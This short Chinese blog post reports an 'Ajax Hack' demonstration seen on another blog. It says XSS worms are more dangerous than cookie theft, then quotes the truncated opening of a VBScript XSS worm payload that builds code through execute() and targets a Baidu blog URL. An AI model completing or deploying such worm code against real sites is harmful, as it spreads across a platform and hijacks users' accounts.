一个有趣的Ajax Hack示范

今天在梦之光芒的BLOG上看见了一个Ajax Hack示范，其实跨站发现很容易，但是要做到大危害还是很难，偷偷COOKIE什么的只针对用户而已，XSS WORM的那种利用才是可怕的。 来看看他的一段VBSCRIPT脚本 代码如下:[removed]execute(”  dim l,s:  l=chr(13)+chr(10):  s=””sub mycode””&l:  s=s&””dim http,url,pg,p,p2,cd,ht,o””&l:  s=s&””url=””””http://hi.baidu.com/monyer/blog/item/83b70ed71b5095dda044d